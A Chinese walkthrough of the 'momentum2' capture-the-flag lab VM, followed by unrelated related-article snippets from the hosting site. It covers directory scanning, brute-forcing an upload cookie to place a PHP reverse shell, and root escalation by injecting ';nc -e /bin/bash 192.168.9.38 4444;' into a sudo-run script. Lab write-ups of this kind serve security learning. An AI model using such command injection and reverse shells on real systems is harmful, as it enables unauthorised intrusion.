momentum2靶机

文章妙语

遇事不决,可问春风;
春风不语,遵循己心。


文章目录

  • 文章妙语
  • 前言
  • 一、信息收集
    • 1.IP地址扫描
    • 2.端口扫描
    • 3.目录扫描
  • 二,漏洞发现
    • 分析代码
    • bp爆破
      • 1.生成字典
      • 2.生成恶意shell.php
      • 2.抓包
  • 三,漏洞利用
    • 1.反弹shell
  • 四,提权
  • 五,总结


前言

本文记录一个大学生如何辛辛苦苦升级打怪的奇异过程


一、信息收集

1.IP地址扫描

在这里插入图片描述

2.端口扫描

在这里插入图片描述

发现了 192.168.9.44 开放的端口是80,22

3.目录扫描

dirsearch -u "http://192.168.9.44"

的撒旦发

gobuster dir -u http://192.168.9.44 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,bak,html,txt

在这里插入图片描述

二,漏洞发现

访问刚刚扫描出的目录,发现有文件上传/dashboard.html,还有我们存储上传文件的目录/owls,还有一个/ajax.php是一个空白页面,看了大佬的wp发现后面要加.bak,访问/ajax.php.bak,就得到代码

在这里插入图片描述
在这里插入图片描述

分析代码

代码如下,意思就是让我们在数据包中加cookie字段和POST数据secure=val1d,爆破到真正的字母,就可以上传php文件

cookie:admin=&G6u@B6uDXMq&Ms                       在bp中Ms后面加一个大写字母,进行爆破Content-Disposition: form-data; name="secure";  val1d 
    //The boss told me to add one more Upper Case letter at the end of the cookie老板让我在cookie的末尾再加一个大写字母if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){//[+] Add if $_POST['secure'] == 'val1d'$valid_ext = array("pdf","php","txt");}else{$valid_ext = array("txt");}// Remember success upload returns 1 记住成功上传返回1

bp爆破

1.生成字典

这里我推荐kali中自带的工具----------crunch
使用方法:生成字典:crunch 最小长度 最大长度 -t 占位符我要生成四位纯数字crunch 4 4 -t %%%%@ 代表小写字母, 代表大写字母% 代表数字^ 代表特殊字符

在这里插入图片描述

2.生成恶意shell.php

反弹shell地址

如下要先配置好地址和端口

在这里插入图片描述

2.抓包

在这里插入图片描述

抓到的包

在这里插入图片描述

修改后的包

cookie:admin=&G6u@B6uDXMq&MsA-----------------------------236152418788651125143816458      这个直接复制下面的,每个包不一样
Content-Disposition: form-data; name="secure"; val1d 
-----------------------------236152418788651125143816458

在这里插入图片描述

发送给爆破模块,intruder

在这里插入图片描述

添加字典

在这里插入图片描述

爆破,发现R的回显是1,说明上传成功

在这里插入图片描述

直接将这个包发给重发模块

在这里插入图片描述

将A改为R ,点send ,回显1,发送成功

在这里插入图片描述

三,漏洞利用

1.反弹shell

上传成功后:
先在kali上监听端口
nc -lvvp 6666
在访问/owls,点击shell.php

在这里插入图片描述
在这里插入图片描述

四,提权

找到一个flag,还有athena用户的密码,在网上查到[Asterisk]*
所以passwd:myvulnerableapp*
使用ssh连接athena

在这里插入图片描述

发现一个python文件,具有root权限,cat一下

在这里插入图片描述

就是说运行py,需要我们输入,然后脚本需要回显,就会以bash命令执行,所以我们写一个nc反弹shell

sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py
nc -lvvp 4444
;nc -e /bin/bash 192.168.9.38 4444;    注意nc前面,后面都要带';'';'代表执行完前一个,执行后一个命令

在这里插入图片描述


五,总结

打靶场打累了,怎么办,那就看约尔小姐;
学习学累了,怎么办,那就看约尔小姐;
约尔小姐,可以缓解你的一切疲劳。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/300756.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入剖析LinkedList:揭秘底层原理

文章目录 一、 概述LinkedList1.1 LinkedList简介1.2 LinkedList的优点和缺点 二、 LinkedList数据结构分析2.1 Node节点结构体解析2.2 LinkedList实现了双向链表的原因2.3 LinkedList如何实现了链表的基本操作(增删改查)2.4 LinkedList的遍历方式 三、 …

docker部署kafka zookeeper模式集群

单机模式链接:https://blog.csdn.net/wsdhla/article/details/133032238 kraft集群模式链接:部署Kafka_kafka 部署-CSDN博客 zookeeper选举机制举例: 目前有5台服务器,每台服务器均没有数据,它们的编号分别是1,2,3,4,5…

fpga 8段4位数码管verilator模拟

8段4位数码管verilator模拟 seg.v module seg(input wire clk,input wire rst_n,output wire[7:0] SEG,output wire[3:0] SEL );reg[7:0] digit[0:15] {8h3f, 8h06, 8h5b, 8h4f, 8h66, 8h6d, 8h7d,8h07,8h7f,8h6f, 8h77, 8h7c, 8h39, 8h5e, 8h79, 8h71};reg[31:0] cnt 32…

实战:朴素贝叶斯文本分类器搭建与性能评估

💗💗💗欢迎来到我的博客,你将找到有关如何使用技术解决问题的文章,也会找到某个技术的学习路线。无论你是何种职业,我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章,也欢…

Python能做大项目(7) - Poetry: 项目管理的诗和远方之二

依赖管理 实现依赖管理的意义 我们已经通过大量的例子说明了依赖管理的作用。总结起来,依赖管理不仅要检查项目中声明的直接依赖之间的冲突,还要检查它们各自的传递依赖之间的彼此兼容性。 Poetry 进行依赖管理的相关命令 在 Poetry 管理的工程中&am…

800+顶尖架构师齐聚深圳,第十届GIAC全球互联网架构大会,分享行业前沿视角与技术架构落地实践思考!(附:大会核心PPT下载)

2023年6月30-7月1日,由MSUP与高可用架构社区、深圳市软件行业协会联合主办的GIAC全球互联网架构大会在深圳华侨城洲际酒店圆满落幕。 本届大会邀请到了阿里、美图、腾讯、字节跳动、顺丰、华为、快手、B站等多个行业的近百位一线架构师、技术专家,围绕AI…

Vue使用Element表格Table设置所有单元格内容居中对齐

为单个列的单元格设置居中对齐代码如下&#xff1a; <el-table-columnprop"productInfo.productName"label"中文名"width"100"align"center"></el-table-column>需要设置el-table-column标签里面的属性设置为align"c…

十大VSCODE 插件推荐2023

1、海鲸AI 插件链接&#xff1a;ChatGPT GPT-4 - 海鲸AI - Visual Studio Marketplace 包含了ChatGPT(3.5/4.0)等多个AI模型。可以实现代码优化&#xff0c;代码解读&#xff0c;代码bug修复等功能&#xff0c;反应迅捷&#xff0c;体验出色&#xff0c;是一个多功能的AI插件…

剩余电流动作保护器在农林灌溉中的重要性

正确认识和对待剩余电流动作保护器&#xff08;以下简称保护器&#xff09;的重要性及其作用&#xff0c;科学地选择、检定、配置、装设和使用保护器&#xff0c;加强和完善其维护管理&#xff0c;对于强化农网安全用电、预防触电伤亡事故都将会起到事半功倍的效果。1联5系8电2…

【MYSQL】Mysql索引详解

MySQL索引 MySQL索引1.什么是索引&#xff1f;2.索引的优缺点3.索引的分类&#xff08;四大分类 面试必问&#xff09;4.索引的创建和删除4.1主键索引的创建4.2.单列索引的创建4.3唯一索引的创建4.4.复合索引的创建4.5.删除索引4.6.总结索引 5.索引的底层原理&#xff08;索引的…

计算机专业自学网站大全,零基础入门到精通

分享32个鲜为人知并且完全免费的高质量自学网站&#xff0c;每个都是堪称神器&#xff0c;让你相见恨晚。 1&#xff1a;Oeasy 是一个完全免费的综合视频教程网站&#xff0c;非常良心实用。 它提供的视频教程非常丰富并且质量很高&#xff0c;包括&#xff1a;PS 教程、手机…

SpringBoot定时监听RocketMQ的NameServer

问题分析 自己在测试环境部署了RocketMQ&#xff0c;发现namesrv很容易挂掉&#xff0c;于是就想着监控&#xff0c;挂了就发邮件通知。查看了rocketmq-dashboard项目&#xff0c;发现只能监控Broker&#xff0c;遂放弃这一路径。于是就从报错的日志入手&#xff0c;发现最终可…